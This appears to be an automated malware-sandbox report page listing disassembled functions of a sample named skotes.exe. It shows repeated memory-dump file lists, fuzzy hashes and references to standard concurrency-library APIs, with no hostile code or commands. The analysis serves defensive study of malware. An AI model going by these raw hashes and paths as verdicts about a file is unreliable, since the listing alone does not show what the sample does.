Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: 47478744579472dae18e0ddbd63ba77272ae80a76babdc205ab1357a3a8337f1
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 7801D173A00514A7CF16EF658A41EEFB7A99F54750F10006BFD13AB382DA71EE0097A2

Function 00AC9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00AC9519

Part of subcall function 00ABF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 00AC5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 00AC953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 00AC9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 00AC9559

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 1fd73f05549256862c205e8bfc3e6d265ee386c09d42885ff252942a79c75c7e
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 89F0E531200F205FE662AB68C915FAB33D99F40711F01C41EE45B9B283CF24F946CB90

Function 00ABEFCD Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

Concurrency::critical_section::unlock.LIBCMT ref: 00ABEFD1

Part of subcall function 00ABF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00ABF989
Part of subcall function 00ABF968: Concurrency::details::LockQueueNode::WaitForNextNode.LIBCMT ref: 00ABF9C0
Part of subcall function 00ABF968: Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00ABF9CC

Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00ABEFDD

Part of subcall function 00ABF40F: Concurrency::critical_section::unlock.LIBCMT ref: 00ABF433

Concurrency::Context::Block.LIBCONCRT ref: 00ABEFE2

Part of subcall function 00AC0366: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00AC0368

Concurrency::critical_section::lock.LIBCONCRT ref: 00ABF002

Part of subcall function 00ABF891: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ABF8AC
Part of subcall function 00ABF891: Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00ABF8B7

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: 29b32be4fb9ed7da8df0da4941f3d1a3f871591b06b4538c670cdde5d47b8759
Instruction ID: cb8381cc053e47266431cbeca273588d7e3a38471e5dd4b0856a2c36585a3c29
Opcode Fuzzy Hash: 29b32be4fb9ed7da8df0da4941f3d1a3f871591b06b4538c670cdde5d47b8759
Instruction Fuzzy Hash: 96E04F34A00505AFCB04FB70CA55AEDBB65BF44360B188319E4B5172E3CF346E46CB91

Function 00ADDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 00ADDFE8

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-1793179972
Opcode ID: a643f5267a7a1641cc802cf054d154e2c1ce3837ac35b95d4dcb021c473e3ef9
Instruction ID: 94f42fd9022a2031e65e8b76e8e118230c5fd688e9a7efd0c32956ed32db4e5c
Opcode Fuzzy Hash: a643f5267a7a1641cc802cf054d154e2c1ce3837ac35b95d4dcb021c473e3ef9
Instruction Fuzzy Hash: 59219F71644209AFDB34FF659D80E6BB7ADEF003A87104616F92A9A351F760ED10C7A1

Function 00AD1704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00AD1764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AD17AF

Strings

pContext, xrefs: 00AD17A7

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: f3d023e9fb813f982fb10de47a2ead2843f401719477998bb41b2c16d2d896c9
Instruction ID: a00b8f17c80d00dd798df0cd5767ed2e217b70322c291ff90bfd7d44cddf92c8
Opcode Fuzzy Hash: f3d023e9fb813f982fb10de47a2ead2843f401719477998bb41b2c16d2d896c9
Instruction Fuzzy Hash: 4811D636A00214BBCB15FF58C5859AD77AAAF84360B158066E91397362DB74DD02CFD0

Function 00ACB92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 00ACB94E
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00ACB961

Strings

pContext, xrefs: 00ACB959

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
